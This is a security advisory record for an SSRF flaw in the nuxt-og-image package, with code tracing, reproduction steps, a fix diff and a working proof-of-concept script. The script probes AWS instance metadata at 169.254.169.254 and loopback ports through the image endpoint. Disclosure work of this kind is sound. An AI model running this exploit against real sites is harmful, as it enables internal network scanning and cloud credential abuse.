{"id":"CVE-2026-61793","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-61793","summary":"Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter","details":"### Summary\n`nuxt-og-image` exposes an **unauthenticated HTTP endpoint** at `/_og/d/**` that base64url-decodes and `JSON.parse`s a `fonts` URL segment, then passes each `fonts[i].path` value directly into `fetch()` server-side **without any URL validation** (no scheme allowlist, no loopback/RFC1918 block, no host allowlist, no DNS rebinding mitigation).\n\nUnder the module's documented default configuration (`security.strict = false`, `security.secret = \"\"`, `restrictRuntimeImagesToOrigin = false`), any caller able to reach the deployed Nuxt site can force the Nuxt server to issue arbitrary outbound `GET` requests to any host reachable from the server - including loopback, RFC1918 LAN, and cloud metadata services (AWS IMDS, GCE/Azure metadata, Kubernetes `kubelet`, internal admin panels, Redis/etcd/Consul/Vault HTTP APIs).\n\nThe chain is **blind** (Satori consumes the response as font bytes and silently discards non-fonts) but a robust **side-channel** exists: the outer HTTP status is `500` when the SSRF target returns `2xx`, and `200` when it fails or returns non-`2xx`. This is sufficient to (a) enumerate live internal services and open ports, (b) confirm IMDSv1 reachability, and (c) detect credential issuance on environments still allowing IMDSv1.\n\nDemonstrated end-to-end on a stock `npm create nuxt@latest` install with the module's documented default usage.\n\n### Detail\n\n#### Endpoint registration (unauthenticated)\n\nThe module registers `/_og/d/**` and `/_og/s/**` with no authentication / Origin check / Sec‑Fetch‑Site validation:\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5113-5133\naddServerHandler({ route: \"/_og/d/**\", handler: resolve(\"./runtime/server/routes/image\") })\naddServerHandler({ route: \"/_og/s/**\", handler: resolve(\"./runtime/server/routes/image\") })\n```\n\n#### Default security config (permissive)\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5618-5640\nsecurity: {\n  strict:                       config.security?.strict ?? false,         // <- gate disabled\n  secret:                       config.security?.secret ?? process.env.NUXT_OG_IMAGE_SECRET ?? \"\",\n                                                                          //   ↑ no signature requirement\n  restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n                                                                          //   ↑ inbound host allowlist disabled\n  maxQueryParamSize:            config.security?.maxQueryParamSize ?? null,\n  renderTimeout:                config.security?.renderTimeout ?? 15000,\n  imageFetchTimeout:            config.security?.imageFetchTimeout ?? 3000,\n}\n```\n\nThe `secret`/signature branch is gated on `secret &&` (truthy), so an empty string skips it entirely:\n\n```js\n// dist/runtime/server/og-image/context.js : 49-69\nconst secret = runtimeConfig.security?.secret\nlet paramsSegment = encodedSegment\nif (secret && !import.meta.dev && !import.meta.prerender) {\n  // signature enforcement happens HERE - but only if secret is non-empty.\n  // Default install: secret === \"\" -> entire block skipped.\n}\n```\n\n#### Attacker-controlled deserialization of `fonts`\n\n`fonts` is enumerated as a **complex parameter**: its value is base64url-decoded and then `JSON.parse`d straight into `options`:\n\n```js\n// dist/runtime/shared/urlEncoding.js : 65\nconst COMPLEX_PARAMS = new Set([\"satori\",\"resvg\",\"sharp\",\"screenshot\",\"takumi\",\"fonts\",\"_query\",\"_path\"])\n\n// dist/runtime/shared/urlEncoding.js : 184-231\nexport function decodeOgImageParams(encoded) {\n  ...\n  for (const part of parts) {\n    const idx = part.search(RE_SINGLE_UNDERSCORE)\n    if (idx === -1) continue\n    const alias = part.slice(0, idx)\n    let value = part.slice(idx + 1)\n    const paramName = PARAM_ALIASES[alias] || alias\n    if (COMPLEX_PARAMS.has(paramName)) {\n      try {\n        const json = b64Decode(value)\n        options[paramName] = JSON.parse(json)        // <- attacker JSON survives unchanged\n      } catch { options[paramName] = value }\n    }\n    ...\n  }\n}\n```\n\n`defu` then merges attacker values into the request options:\n\n```js\n// dist/runtime/server/og-image/context.js : 135\noptions = defu(queryParams, urlOptions, ogImageRouteRules, runtimeConfig.defaults)\n// -> options.fonts = [{ name: \"X\", path: \"<attacker-URL>\", ... }]\n```\n\n#### From `options.fonts` to the unfettered `fetch()`\n\n```js\n// dist/runtime/server/og-image/satori/renderer.js : 36-42\nconst fonts = await loadFontsForRenderer(event, {\n  ...options,\n  fontDefs: options.fonts,           // <- attacker array flows in\n})\n\n// dist/runtime/server/og-image/fonts.js : 175-201\nexport async function loadDefinedFonts(event, fontDefs) {\n  for (const def of fontDefs) {\n    if (!def || typeof def !== \"object\" || !def.path) continue   // <- only validation\n    const fontConfig = { family: def.name, weight: def.weight||400, style: def.style, src: def.path, localPath: def.path }\n    const data = await resolve(event.e, fontConfig).catch(() => null)\n    ...\n  }\n}\n```\n\nThe production binding (selected for every non-dev / non-prerender preset - `dist/shared/nuxt-og-image.DdbTs-xp.mjs:5445-5452`):\n\n```js\n// dist/runtime/server/og-image/bindings/font-assets/node.js : 6-21    <- SINK\nexport async function resolve(event, font) {\n  const path     = font.src || font.localPath                    // attacker-controlled\n  const { app } = useRuntimeConfig()\n  const fullPath = withBase(path, app.baseURL)                   // ufo.withBase returns absolute URLs unchanged\n  const origin   = getNitroOrigin(event)\n  const timeout  = getFetchTimeout(useOgImageRuntimeConfig())    // 3000 ms by default\n  const res = await fetch(\n    new URL(fullPath, origin).href,                              // <- when fullPath is absolute,\n    { signal: AbortSignal.timeout(timeout) },                    //   origin is ignored\n  ).catch(() => null)                                            //   -> fetch(attacker-URL)\n  ...\n}\n```\n\n`ufo.withBase(\"http://target/\", \"/\")` returns `\"http://target/\"` unchanged when the input is already an absolute URL; `new URL(abs, origin)` then yields the absolute URL. No `URL.protocol` check, no IP-literal block, no DNS-resolution-aware allowlist, no redirect cap.\n\n#### Side-channel for blind exfiltration\n\nAlthough the response body is consumed as font bytes and Satori discards non-font payloads, the **outer HTTP status code differs deterministically** based on the SSRF target's response:\n\n| Target returns | Satori behavior | Outer response |\n|----------------|-----------------|----------------|\n| `2xx` with non-font body | `parseFont(bytes)` throws | `HTTP 500` |\n| Connection refused / timeout / non-`2xx` | `fetch().catch(() => null)` -> fallback fonts used | `HTTP 200` (a PNG is returned) |\n\nThe boolean oracle (target alive & answered 2xx vs. not) is sufficient to:\n\n- enumerate open ports on `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`\n- detect cloud metadata reachability (and on legacy AWS IMDSv1, trigger credential issuance - even without read-back, the *act* of issuing credentials creates audit-trail and timing observables)\n- distinguish health-check responses, vault-init status, k8s `kubelet` `/pods` reachability, etc.\n\n### Steps To Reproduce\n\n```bash\n# 1. Create a stock Nuxt 4 app and add the module\nnpm create nuxt@latest lab-test --yes        # accept defaults\ncd lab-test\nnpm install nuxt-og-image                    # -> installs v6.6.0 (current latest)\n```\n\n`nuxt.config.ts` - the **only** change is enabling the module:\n\n```ts\nexport default defineNuxtConfig({\n  compatibilityDate: '2025-07-15',\n  modules: ['nuxt-og-image'],\n  // NO `ogImage.security` overrides - accept module defaults.\n})\n```\n\nThe module requires at least one OG image component to be registered (its documented Hello‑World; otherwise the endpoint returns `500 No OG Image components found`). Add the minimal one:\n\n```bash\nmkdir -p app/components/OgImage\ncat > app/components/OgImage/Default.satori.vue <<'EOF'\n<script setup lang=\"ts\">\ndefineProps<{ title?: string }>()\n</script>\n<template>\n  <div style=\"display:flex;padding:32px;font-size:48px;background:#fff\">\n    {{ title || 'Acme' }}\n  </div>\n</template>\nEOF\n```\n\n#### Start a local sink to prove the SSRF (1 file)\n\n`ssrf-sink.mjs`:\n\n```js\nimport http from 'node:http'\nimport fs   from 'node:fs'\nconst LOG = '/tmp/ssrf-sink.log'; fs.writeFileSync(LOG, '')\nhttp.createServer((req, res) => {\n  const line = JSON.stringify({ ts: new Date().toISOString(), method: req.method, url: req.url, ua: req.headers['user-agent'], remote: req.socket.remoteAddress })\n  fs.appendFileSync(LOG, line + '\\n'); console.log('HIT:', line)\n  res.writeHead(200, { 'content-type': 'application/octet-stream' }).end('NOT_A_FONT_BUT_2XX')\n}).listen(9000, '127.0.0.1', () => console.log('sink ready 127.0.0.1:9000'))\n```\n\n```bash\nnode ssrf-sink.mjs &\nnpm run dev          # Nuxt on http://127.0.0.1:3000\n```\n\n#### Exploit script - one HTTP request, no auth (`poc.mjs`)\n\n```js\nconst b64url = s => Buffer.from(s,'utf8').toString('base64')\n  .replace(/=/g,'').replace(/\\+/g,'-').replace(/\\//g,'~')\n\n// The entire attack: a single attacker-crafted GET.\nasync function ssrf (attackerURL) {\n  const seg = 'fonts_' + b64url(JSON.stringify([{ name:'X', path: attackerURL }]))\n  const url = `http://127.0.0.1:3000/_og/d/${seg}.png`     // <- unauth, no header\n  const r = await fetch(url)\n  console.log(`SSRF target=${attackerURL}  outer-status=${r.status}`)\n}\n\nawait ssrf('http://127.0.0.1:9000/PWN?via=og-image')          // sink - proves primitive\nawait ssrf('http://169.254.169.254/latest/meta-data/iam/security-credentials/')   // AWS IMDSv1\nawait ssrf('http://127.0.0.1:22/')                            // loopback port probe\n```\n\n#### Run\n\n```bash\nnode poc.mjs\n```\n\n#### Observed result (captured during the actual lab run, 2026-06-23 10:52 UTC)\n\n```\nSSRF target=http://127.0.0.1:9000/PWN?via=og-image                                outer-status=500\nSSRF target=http://169.254.169.254/latest/meta-data/iam/security-credentials/     outer-status=200\nSSRF target=http://127.0.0.1:22/                                                  outer-status=200\n```\n\n`/tmp/ssrf-sink.log`:\n\n```json\n{\"ts\":\"2026-06-23T10:52:12.250Z\",\"method\":\"GET\",\"url\":\"/PWN?via=og-image\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n{\"ts\":\"2026-06-23T10:52:13.706Z\",\"method\":\"GET\",\"url\":\"/etc/passwd?or-any-path\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n```\n\nThe sink received `GET` requests with **attacker-chosen paths**, sourced from the Nuxt server process (`user-agent: node` is the undici/Node `fetch` fingerprint emitted by Nitro; `remote: 127.0.0.1` is the Nuxt server itself on the lab host). No other process on the lab has any reason to call this address with these paths.\n\nReading the outer status codes back as the side-channel:\n\n- `outer-status=500` -> target answered `2xx` (sink confirmed via log)\n- `outer-status=200` -> target did not respond / non-`2xx` (IMDS unreachable from this host; `:22` is SSH, not HTTP). Both cases prove the server-side `fetch()` was issued.\n\n### Impact\n\nThe vulnerability turns any deployed Nuxt site running `nuxt-og-image` (default config) into an **unauthenticated SSRF relay** into its own server-side network. Concrete impact varies by hosting environment:\n\n#### Cloud (AWS / GCP / Azure)\n\n- **AWS EC2 with IMDSv1 still allowed:** `fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>')` triggers credential issuance to the role attached to the instance. Even though the response body is not echoed back to the attacker, the call is performed in the instance's network identity and shows up in CloudTrail; in environments with permissive role policies + persistence (e.g. a backup S3 listing) the attacker can chain via the side-channel into role exfil through other ingress points. (Industry surveys repeatedly show 20-40 % of EC2 fleets still have IMDSv1 enabled.)\n- **GCE / Azure:** metadata is gated on a custom header that `fetch` does not add -> metadata read prevented, but internal Google/Azure network reach is still proven.\n- **EKS / GKE / AKS:** `http://kubernetes.default.svc.cluster.local/api/...` is reachable, as are kube-proxy localhost ports, kubelet on `:10250` (status-only readable via side-channel), and per-pod sidecar admin APIs.\n\n#### Self-hosted / on-prem\n\n- **Internal admin panels** (Grafana, Kibana, Prometheus, Argo, Jenkins, Sentry, Hashicorp Vault `/v1/sys/health`, Consul `/v1/agent/self`) become enumerable. Status-code side-channel reveals init/seal state of Vault, leadership of Consul, etc.\n- **Localhost-bound services** intended as \"developer-only\" (e.g. a debug Redis on `127.0.0.1:6379`, an embedded SQL admin UI on `127.0.0.1:8080`, an internal feature-flag server) become enumerable from the public Internet.\n- **Egress controls bypass**: if the Nuxt deployment is on an allowlist VLAN that may reach `payments-internal` while end users may not, the attacker can probe that VLAN through the relay.\n\n#### Generic\n\n- **Port scanning** of LAN ranges through the deployed site (timing+status side-channel).\n- **Long-lived DoS amplifier**: each request holds a render worker for up to `imageFetchTimeout` (3 s default). 100 concurrent requests to slow-responding internal targets hold all OG workers; coupled with `renderTimeout` (15 s) the OG image rendering capacity is exhausted with very low attacker bandwidth.\n- **Side-channel exfil with reflectable bytes**: where an internal HTTP response contains data that happens to render through Satori's glyph fallback path (e.g. plain ASCII status-page text), bytes can leak into the rendered PNG as visual noise - an opportunistic read primitive.\n\n### Fix\n\n#### Short-term (must-have before next release)\n\nIn `dist/runtime/server/og-image/bindings/font-assets/node.js`, validate the URL before issuing `fetch`:\n\n```diff\n+ import { isPrivateAddress } from '../../util/isPrivateAddress.js'  // new helper, see below\n\n  export async function resolve(event, font) {\n    const path = font.src || font.localPath\n    const { app } = useRuntimeConfig()\n    const fullPath = withBase(path, app.baseURL)\n    const origin = getNitroOrigin(event)\n+\n+   const target = new URL(fullPath, origin)\n+\n+   // (1) Scheme allowlist\n+   if (target.protocol !== 'http:' && target.protocol !== 'https:') {\n+     throw createError({ statusCode: 400, statusMessage: '[og-image] Disallowed font URL scheme' })\n+   }\n+\n+   // (2) Same-origin OR explicit user allowlist\n+   const allowlist = useOgImageRuntimeConfig().security?.fontHostAllowlist ?? []\n+   const sameOrigin = target.origin === new URL(origin).origin\n+   if (!sameOrigin && !allowlist.includes(target.host)) {\n+     throw createError({ statusCode: 400, statusMessage: '[og-image] Font host not in allowlist' })\n+   }\n+\n+   // (3) Block private / loopback / link-local at lookup time (DNS-rebinding-safe)\n+   if (await isPrivateAddress(target.hostname)) {\n+     throw createError({ statusCode: 400, statusMessage: '[og-image] Private network not allowed' })\n+   }\n+\n    const timeout = getFetchTimeout(useOgImageRuntimeConfig())\n    const res = await fetch(target.href, {\n      signal: AbortSignal.timeout(timeout),\n+     redirect: 'manual',                  // do not follow redirects across the gate\n    }).catch(() => null)\n    if (res?.ok) return Buffer.from(await res.arrayBuffer())\n    ...\n  }\n```\n\n`isPrivateAddress(host)` should resolve the host via DNS (caching) and reject if **any** resolved address is in `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `::1`, `fc00::/7`, `fe80::/10`. The resolved address must then be **pinned** and passed into `fetch` (or `undici`'s `lookup` option) so the TCP connection cannot rebound to a different IP after the check (TOCTOU / DNS rebinding defense).\n\nApply the same validator in `dist/runtime/server/og-image/bindings/font-assets/dev-prerender.js`.\n\n#### Flip the security defaults (medium-term)\n\n```diff\n- strict:                       config.security?.strict ?? false,\n+ strict:                       config.security?.strict ?? true,\n\n- restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n+ restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? true,\n```\n\nWhen `strict` is `true`, the runtime should refuse to start with `secret === ''` and emit a clear error pointing to the docs (similar to how Nuxt itself errors when `runtimeConfig` secrets are unset in production).\n\n#### Defense in depth (long-term)\n\n- Validate `fonts[*]` shape at decode time in `decodeOgImageParams`. Reject any `fonts[i].path` that is not a relative path or in the allowlist.\n- Tighten `COMPLEX_PARAMS`: every JSON-parsed key (`satori`, `resvg`, `sharp`, `screenshot`, `takumi`, `fonts`) must have a schema validator. Today they are blind-trusted across the URL boundary.\n- Document `nuxt-og-image`'s threat model explicitly: which URL parameters are attacker-controlled by design, which `runtimeConfig` keys must be set in production, which defaults are unsafe.","published":"2026-09-17T14:48:55Z","modified":"2026-09-17T15:00:06.520823159Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"nuxt-og-image","fixedVersion":"6.7.0"}],"fix":{"url":"https://github.com/nuxt-modules/og-image/pull/637","label":"nuxt-modules/og-image#637"},"references":[{"type":"WEB","url":"https://github.com/nuxt-modules/og-image/security/advisories/GHSA-q8hw-4fvp-9rwv"},{"type":"WEB","url":"https://github.com/nuxt-modules/og-image/pull/637"},{"type":"WEB","url":"https://github.com/nuxt-modules/og-image/commit/243cac2228671d3711c2bd65e300c278fcdf5a4e"},{"type":"PACKAGE","url":"https://github.com/nuxt-modules/og-image"},{"type":"WEB","url":"https://github.com/nuxt-modules/og-image/releases/tag/v6.7.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-17T15:00:06.520823159Z"}}